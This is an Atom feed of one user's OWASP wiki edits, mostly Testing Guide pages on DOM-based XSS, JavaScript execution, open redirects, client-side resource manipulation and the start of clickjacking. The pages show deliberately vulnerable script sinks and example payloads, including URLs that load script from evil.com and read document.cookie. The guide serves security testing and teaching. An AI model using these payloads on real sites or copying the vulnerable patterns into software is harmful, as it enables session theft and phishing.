<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Nvhaver</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Nvhaver"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Nvhaver"/>
		<updated>2026-05-06T10:12:49Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Nvhaver&amp;diff=186329</id>
		<title>User:Nvhaver</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Nvhaver&amp;diff=186329"/>
				<updated>2014-12-01T20:00:29Z</updated>
		
		<summary type="html">&lt;p&gt;Nvhaver: /* About Nvhaver */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;OWASP thaugth me almost everything about the security industry. I thought I'd return the favor by contibuting to this wonderful knowledge base.&lt;br /&gt;
&lt;br /&gt;
My interests in the field of technology are programming languages, security, gaming and tinkering with old hardware. In the university I have learned many programming languages, some of which are quite esoteric (Oz, ACL2, Oz). This sparked my interest in them, as they proved that the language itself determines the programmer's power (and comfort).&lt;br /&gt;
&lt;br /&gt;
In the security industry I'm a complete novice as security still isn't a priority at the university... However I will do my best to get up to speed.&lt;br /&gt;
&lt;br /&gt;
My love for gaming originates to my childhood, playing games on the Win95. But time waits for no man, or game, and so my favourite games soon did no longer run on the newer devices. In comes my love for tinkering.&lt;br /&gt;
&lt;br /&gt;
Currently I'm finishing up my education over at the University of Ghent in Belgium (Civil Engineer Computer Sciences Software Engineering). For my master thesis I am researching web application security on the client side (mostly on DOM-based XSS).&lt;/div&gt;</summary>
		<author><name>Nvhaver</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)&amp;diff=186325</id>
		<title>Testing for DOM-based Cross site scripting (OTG-CLIENT-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)&amp;diff=186325"/>
				<updated>2014-12-01T19:42:50Z</updated>
		
		<summary type="html">&lt;p&gt;Nvhaver: /* Gray Box testing */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
[[DOM Based XSS |DOM-based Cross-Site Scripting]] is the de-facto name for [[XSS]] bugs which are the result of active browser-side content on a page, typically JavaScript, obtaining user input and then doing something unsafe with it which leads to execution of injected code. This document only discusses JavaScript bugs which lead to XSS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The DOM, or Document Object Model, is the structural format used to represent documents in a browser. The DOM enables dynamic scripts such as JavaScript to reference components of the document such as a form field or a session cookie. The DOM is also used by the browser for security - for example to limit scripts on different domains from obtaining session cookies for other domains. A DOM-based XSS vulnerability may occur when active content, such as a JavaScript function, is modified by a specially crafted request such that a DOM element that can be controlled by an attacker.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There have been very few papers published on this topic and, as such, very little standardization of its meaning and formalized testing exists.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==How to Test== &lt;br /&gt;
Not all XSS bugs require the attacker to control the content returned from the server, but can instead abuse poor JavaScript coding practices to achieve the same results. The consequences are the same as a typical XSS flaw, only the means of delivery is different.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In comparison to other cross site scripting vulnerabilities ([[XSS#Stored_and_Reflected_XSS_Attacks |reflected and stored XSS]]), where an unsanitized parameter is passed by the server, returned to the user and executed in the context of the user's browser, a DOM-based XSS vulnerability controls the flow of the code by using elements of the Document Object Model (DOM) along with code crafted by the attacker to change the flow. &lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Due to their nature, DOM-based XSS vulnerabilities can be executed in many instances without the server being able to determine what is actually being executed. This may make many of the general XSS filtering and detection techniques impotent to such attacks.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The first hypothetical example uses the following client side code:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 document.write(&amp;quot;Site is at: &amp;quot; + document.location.href + &amp;quot;.&amp;quot;);&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
An attacker may append #&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt; to the affected page URL which would, when executed, display the alert box. In this instance, the appended code would not be sent to the server as everything after the # character is not treated as part of the query by the browser but as a fragment. In this example, the code is immediately executed and an alert of &amp;quot;xss&amp;quot; is displayed by the page.  Unlike the more common types of cross site scripting (Stored and Reflected) in which the code is sent to the server and then back to the browser, this is executed directly in the user's browser without server contact.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The [[XSS#XSS_Attack_Consequences |consequences]] of DOM-based XSS flaws are as wide ranging as those seen in more well known forms of XSS, including cookie retrieval, further malicious script injection, etc. and should therefore be treated with the same severity.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
Blackbox testing for DOM-Based XSS is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing  === &lt;br /&gt;
'''Testing for DOM-Based XSS vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
JavaScript applications differ significantly from other types of applications because they are often dynamically generated by the server, and to understand what code is being executed, the website being tested needs to be crawled to determine all the instances of JavaScript being executed and where user input is accepted. Many websites rely on large libraries of functions, which often stretch into the hundreds of thousands of lines of code and have not been developed in-house. In these cases, top-down testing often becomes the only really viable option, since many bottom level functions are never used, and analyzing them to determine which are sinks will use up more time than is often available. The same can also be said for top-down testing if the inputs or lack thereof is not identified to begin with.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
User input comes in two main forms:&lt;br /&gt;
&lt;br /&gt;
* Input written to the page by the server in a way that does not allow direct XSS&lt;br /&gt;
* Input obtained from client-side JavaScript objects&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Here are two examples of how the server may insert data into JavaScript:&lt;br /&gt;
&lt;br /&gt;
 var data = &amp;quot;&amp;lt;escaped data from the server&amp;gt;&amp;quot;;&lt;br /&gt;
 var result = someFunction(&amp;quot;&amp;lt;escaped data from the server&amp;gt;&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And here are two examples of input from client-side JavaScript objects:&lt;br /&gt;
&lt;br /&gt;
 var data = window.location;&lt;br /&gt;
 var result = someFunction(window.referer);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
While there is little difference to the JavaScript code in how they are retrieved, it is important to note that when input is received via the server, the server can apply any permutations to the data that it desires, whereas the permutations performed by JavaScript objects are fairly well understood and documented, and so if someFunction in the above example were a sink, then the exploitability of the former would depend on the filtering done by the server, whereas the latter would depend on the encoding done by the browser on the window.referer object. Stefano Di Paulo has written an excellent article on what browsers return when asked for the various elements of a [https://code.google.com/p/domxsswiki/wiki/LocationSources URL using the document. and location. attributes].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Additionally, JavaScript is often executed outside of &amp;lt;script&amp;gt; blocks, as evidenced by the many vectors which have led to XSS filter bypasses in the past, and so, when crawling the application, it is important to note the use of scripts in places such as event handlers and CSS blocks with expression attributes. Also, note that any off-site CSS or script objects will need to be assessed to determine what code is being executed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Automated testing has only very limited success at identifying and validating DOM-based XSS as it usually identifies XSS by sending a specific payload and attempts to observe it in the server response. This may work fine for the simple example provided below, where the message parameter is reflected back to the user:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;message=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
but may not be detected in the following contrived case:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
var navAgt = navigator.userAgent;&lt;br /&gt;
 &lt;br /&gt;
if (navAgt.indexOf(&amp;quot;MSIE&amp;quot;)!=-1) {&lt;br /&gt;
     document.write(&amp;quot;You are using IE as a browser and visiting site: &amp;quot; + document.location.href + &amp;quot;.&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
    document.write(&amp;quot;You are using an unknown browser.&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For this reason, automated testing will not detect areas that may be susceptible to DOM-based XSS unless the testing tool can perform additional analysis of the client side code.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Manual testing should therefore be undertaken and can be done by examining areas in the code where parameters are referred to that may be useful to an attacker. Examples of such areas include places where code is dynamically written to the page and elsewhere where the DOM is modified or even where scripts are directly executed. Further examples are described in the excellent DOM XSS article by Amit Klein, referenced at the end of this section.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[DOM based XSS Prevention Cheat Sheet]]&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Document Object Model (DOM) - http://en.wikipedia.org/wiki/Document_Object_Model&lt;br /&gt;
* DOM Based Cross Site Scripting or XSS of the Third Kind - Amit Klein http://www.webappsec.org/projects/articles/071105.shtml&lt;br /&gt;
* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources&lt;br /&gt;
** i.e., what is returned when the user asks the browser for things like document.URL, document.baseURI, location, location.href, etc.&lt;/div&gt;</summary>
		<author><name>Nvhaver</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_JavaScript_Execution_(OTG-CLIENT-002)&amp;diff=186324</id>
		<title>Testing for JavaScript Execution (OTG-CLIENT-002)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_JavaScript_Execution_(OTG-CLIENT-002)&amp;diff=186324"/>
				<updated>2014-12-01T19:39:41Z</updated>
		
		<summary type="html">&lt;p&gt;Nvhaver: /* How to Test */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
A JavaScript Injection vulnerability is a subtype of Cross Site Scripting (XSS) that involves the ability to inject arbitrary JavaScript code that is executed by the application inside the victim's browser. This vulnerability can have many consequences, like disclosure of a user's session cookies that could be used to impersonate the victim, or, more generally, it can allow the attacker to modify the page content seen by the victims or the application behavior.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test == &lt;br /&gt;
Such a vulnerability occurs when the application lacks proper user supplied input and output validation. JavaScript is used to dynamically populate web pages, this injection occurs during this content processing phase and consequently affects the victim.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
When trying to exploit this kind of issues, consider that some characters are treated differently by different browsers. For reference see the DOM XSS Wiki.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following script does not perform any validation of the variable rr that contains the user supplied input via the query string and additionally does not apply any form of encoding:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var rr = location.search.substring(1);&lt;br /&gt;
if(rr)&lt;br /&gt;
  window.location=decodeURIComponent(rr);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This implies that an attacker could inject JavaScript code simply by submitting the following query string: &amp;lt;nowiki&amp;gt;''www.victim.com/?javascript:alert(1)''&amp;lt;/nowiki&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
Black box testing for  JavaScript Execution is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing ===&lt;br /&gt;
'''Testing for JavaScript Execution vulnerabilities:'''&lt;br /&gt;
&lt;br /&gt;
For example, looking at the following URL:&lt;br /&gt;
http://www.domxss.com/domxss/01_Basics/04_eval.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The page contains the following scripts:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
function loadObj(){&lt;br /&gt;
 var cc=eval('('+aMess+')');&lt;br /&gt;
 document.getElementById('mess').textContent=cc.message;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
if(window.location.hash.indexOf('message')==-1)&lt;br /&gt;
  var aMess=&amp;quot;({\&amp;quot;message\&amp;quot;:\&amp;quot;Hello User!\&amp;quot;})&amp;quot;;&lt;br /&gt;
else&lt;br /&gt;
  var aMess=location.hash.substr(window.location.hash.indexOf('message=')+8);&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The above code contains a source 'location.hash' that is controlled by the attacker that can inject directly in the 'message' value a JavaScript Code to take the control of the user browser.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[DOM based XSS Prevention Cheat Sheet]]&lt;br /&gt;
* DOMXSS.com - http://www.domxss.com&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources&lt;br /&gt;
** i.e., what is returned when the user asks the browser for things like document.URL, document.baseURI, location, location.href, etc.&lt;/div&gt;</summary>
		<author><name>Nvhaver</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Client_Side_URL_Redirect_(OTG-CLIENT-004)&amp;diff=186323</id>
		<title>Testing for Client Side URL Redirect (OTG-CLIENT-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Client_Side_URL_Redirect_(OTG-CLIENT-004)&amp;diff=186323"/>
				<updated>2014-12-01T19:33:30Z</updated>
		
		<summary type="html">&lt;p&gt;Nvhaver: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
This section describes how to check for Client Side URL Redirection, also known as Open Redirection. It is an input validation flaw that exists when an application accepts an user controlled input which specifies a link that leads to an external URL that could be malicious. This kind of vulnerability could be used to accomplish a phishing attack or redirect a victim to an infection page.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test == &lt;br /&gt;
This vulnerability occurs when an application accepts untrusted input that contains an URL value without sanitizing it. This URL value could cause the web application to redirect the user to another page as, for example, a malicious page controlled by the attacker. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Since the redirection is originated by the real application, the phishing attempts may have a more trustworthy appearance.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A phishing attack example could be the following: &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://www.target.site?#redirect=www.fake-target.site &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The victim that visits target.site will be automatically redirected to fake-target.site where an attacker could place a fake page to steal victim's credentials. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Moreover open redirections could also be used to maliciously craft an URL that would bypass the application’s access control checks and then forward the attacker to privileged functions that they would normally not be able to access. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
Black box testing for Client Side URL Redirect is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing === &lt;br /&gt;
'''Testing for Client Side URL Redirect vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
When testers have to manually check for this type of vulnerability they have to identify if there are client side redirections implemented in the client side code (for example in the JavaScript code). &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These redirections could be implemented, for example in JavaScript, using the “window.location” object that can be used to take the browser to another page by simply assigning a string to it. (as you can see in the following snippet of code).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var redir = location.hash.substring(1); &lt;br /&gt;
if (redir) &lt;br /&gt;
   window.location='http://'+decodeURIComponent(redir); &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the previous example the script does not perform any validation of the variable “redir”, that contains the user supplied input via the query string, and in the same time does not apply any form of encoding, then this unvalidated input is passed to the windows.location object originating a URL redirection vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This implies that an attacker could redirect the victim to a malicious site simply by submitting the following query string: &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.victim.site/?#www.malicious.site&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note how, if the vulnerable code is the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var redir = location.hash.substring(1); &lt;br /&gt;
if (redir) &lt;br /&gt;
   window.location=decodeURIComponent(redir); &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It also could be possible to inject JavaScript code, for example by submitting the following query string:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.victim.site/?#javascript:alert(document.cookie)&amp;lt;/pre&amp;gt;&lt;br /&gt;
When trying to check for this kind of issues, consider that some characters are treated differently by different browsers.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* DOMinator - https://dominator.mindedsecurity.com/&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[DOM based XSS Prevention Cheat Sheet]]&lt;br /&gt;
* DOMXSS.com - http://www.domxss.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources&lt;br /&gt;
** i.e., what is returned when you ask the browser for things like document.URL, document.baseURI, location, location.href, etc.&lt;br /&gt;
* Krzysztof Kotowicz: &amp;quot;Local or External? Weird URL formats on the loose&amp;quot; - http://kotowicz.net/absolute/&lt;/div&gt;</summary>
		<author><name>Nvhaver</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Client_Side_Resource_Manipulation_(OTG-CLIENT-006)&amp;diff=186322</id>
		<title>Testing for Client Side Resource Manipulation (OTG-CLIENT-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Client_Side_Resource_Manipulation_(OTG-CLIENT-006)&amp;diff=186322"/>
				<updated>2014-12-01T19:32:48Z</updated>
		
		<summary type="html">&lt;p&gt;Nvhaver: /* Summary */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
A Client Side Resource Manipulation vulnerability is an input validation flaw that occurs when an application accepts an user controlled input which specifies the path of a resource (for example the source of an iframe, js, applet or the handler of an XMLHttpRequest). Specifically, such a vulnerability consists in the ability to control the URLs which link to some resources present in a web page. The impact may vary on the basis of the type of the element whose URL is controlled by the attacker, and it is usually adopted to conduct Cross-Site Scripting attacks.&lt;br /&gt;
&lt;br /&gt;
== How to Test == &lt;br /&gt;
Such a vulnerability occurs when the application employs user controlled URLs for referencing external/internal resources. In these circumstances it is possible to interfere with the expected application's behavior in the sense of making it load and render malicious objects. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the &amp;quot;location.hash&amp;quot; (source) which reaches the attribute &amp;quot;src&amp;quot; of a script element. This particular obviously leads XSS since an external JavaScript could be easily injected in the trusted web site.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt; &lt;br /&gt;
  var d=document.createElement(&amp;quot;script&amp;quot;); &lt;br /&gt;
  if(location.hash.slice(1)) &lt;br /&gt;
     d.src = location.hash.slice(1); &lt;br /&gt;
  document.body.appendChild(d); &lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Specifically the attacker could target the victim by asking her to visit the following URL: &lt;br /&gt;
 www.victim.com/#http://evil.com/js.js&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Where js.js contains:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
alert(document.cookie)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Controlling scripts' sources is a basic example, since some other interesting and more subtle cases can take place. A widespread scenario involves the possibility to control the URL called in a CORS request; since CORS allows the target resource to be accessible by the requesting domain through a header based approach, then the attacker may ask the target page to load malicious content loaded on its own web site. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Refer to the following vulnerable code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;b id=&amp;quot;p&amp;quot;&amp;gt;&amp;lt;/b&amp;gt; &lt;br /&gt;
&amp;lt;script&amp;gt; &lt;br /&gt;
 function createCORSRequest(method, url) { &lt;br /&gt;
  var xhr = new XMLHttpRequest(); &lt;br /&gt;
  xhr.open(method, url, true); &lt;br /&gt;
  xhr.onreadystatechange = function () { &lt;br /&gt;
   if (this.status == 200 &amp;amp;&amp;amp; this.readyState == 4) { &lt;br /&gt;
     document.getElementById('p').innerHTML = this.responseText; &lt;br /&gt;
   } &lt;br /&gt;
  }; &lt;br /&gt;
  return xhr; &lt;br /&gt;
 } &lt;br /&gt;
&lt;br /&gt;
 var xhr = createCORSRequest('GET', location.hash.slice(1)); &lt;br /&gt;
 xhr.send(null); &lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The “location.hash” is controlled by the attacker and it is used for requesting an external resource, which will be reflected through the construct “innerHTML”. Basically the attacker could ask the victim to visit the following URL and at the same time he could craft the payload handler.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Exploit URL: www.victim.com/#http://evil.com/html.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://evil.com/html.html&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;?php &lt;br /&gt;
header('Access-Control-Allow-Origin: http://www.victim.com'); &lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
Black box testing for  Client Side Resource Manipulation is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing === &lt;br /&gt;
'''Testing for Client Side Resource Manipulation vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
To manually check for this type of vulnerability we have to identify whether the application employs inputs without correctly validating them; these are under the control of the user which could be able to specify the url of some resources. Since there are many resources that could be included into the application (for example images, video, object, css, frames etc.),  client side scripts which handle the associated URLs should be investigated for potential issues. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following table shows the possible injection points (sink) that should be checked:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;| Resource Type&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;| Tag/Method&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;| Sink&lt;br /&gt;
|-&lt;br /&gt;
| Frame&lt;br /&gt;
| iframe&lt;br /&gt;
| src&lt;br /&gt;
|-&lt;br /&gt;
| Link&lt;br /&gt;
| a&lt;br /&gt;
| href&lt;br /&gt;
|-&lt;br /&gt;
| AJAX Request&lt;br /&gt;
| xhr.open(method, &amp;lt;i&amp;gt;[url]&amp;lt;/i&amp;gt;, true); &lt;br /&gt;
| URL&lt;br /&gt;
|-&lt;br /&gt;
| CSS&lt;br /&gt;
| link&lt;br /&gt;
| href&lt;br /&gt;
|-&lt;br /&gt;
| Image&lt;br /&gt;
| img&lt;br /&gt;
| src&lt;br /&gt;
|-&lt;br /&gt;
| Object&lt;br /&gt;
| object&lt;br /&gt;
| data&lt;br /&gt;
|-&lt;br /&gt;
| Script&lt;br /&gt;
| script&lt;br /&gt;
| src&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The most interesting ones are those that allow to an attacker to include client side code (for example JavaScript) since it could lead to an XSS vulnerabilities. &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
When trying to check for this kind of issues, consider that some characters are treated differently by different browsers.&lt;br /&gt;
Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
&lt;br /&gt;
* DOMinator - https://dominator.mindedsecurity.com/&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[DOM based XSS Prevention Cheat Sheet]]&lt;br /&gt;
* DOMXSS.com - http://www.domxss.com&lt;br /&gt;
* DOMXSS TestCase - http://www.domxss.com/domxss/01_Basics/04_script_src.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
&lt;br /&gt;
* DOM XSS Wiki - https://code.google.com/p/domxsswiki/wiki/LocationSources&lt;br /&gt;
* Krzysztof Kotowicz: &amp;quot;Local or External? Weird URL formats on the loose&amp;quot; - http://kotowicz.net/absolute/&lt;/div&gt;</summary>
		<author><name>Nvhaver</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Clickjacking_(OTG-CLIENT-009)&amp;diff=186321</id>
		<title>Testing for Clickjacking (OTG-CLIENT-009)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Clickjacking_(OTG-CLIENT-009)&amp;diff=186321"/>
				<updated>2014-12-01T19:28:43Z</updated>
		
		<summary type="html">&lt;p&gt;Nvhaver: /* Client side protection: Frame Busting */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&amp;quot;Clickjacking&amp;quot; (which is a subset of the &amp;quot;UI redressing&amp;quot;) is a malicious technique that consists of deceiving a web user into interacting (in most cases by clicking) with something different to what the user believes they are interacting with. This type of attack, that can be used alone or in combination with other attacks, could potentially send unauthorized commands or reveal confidential information while the victim is interacting on seemingly harmless web pages. The term &amp;quot;Clickjacking&amp;quot; was coined by Jeremiah Grossman and Robert Hansen in 2008.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A Clickjacking attack uses seemingly innocuous features of HTML and Javascript to force the victim to perform undesired actions, such as clicking on a button that appears to perform another operation. This is a &amp;quot;client side&amp;quot; security issue that affects a variety of browsers and platforms.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To carry out this type of technique the attacker has to create a seemingly harmless web page that loads the target application through the use of an iframe (suitably concealed through the use of CSS code). Once this is done, the attacker could induce the victim to interact with his fictitious web page by other means (like for example social engineering). Like others attacks, an usual prerequisite is that the victim is authenticated against the attacker's target website.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_description.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
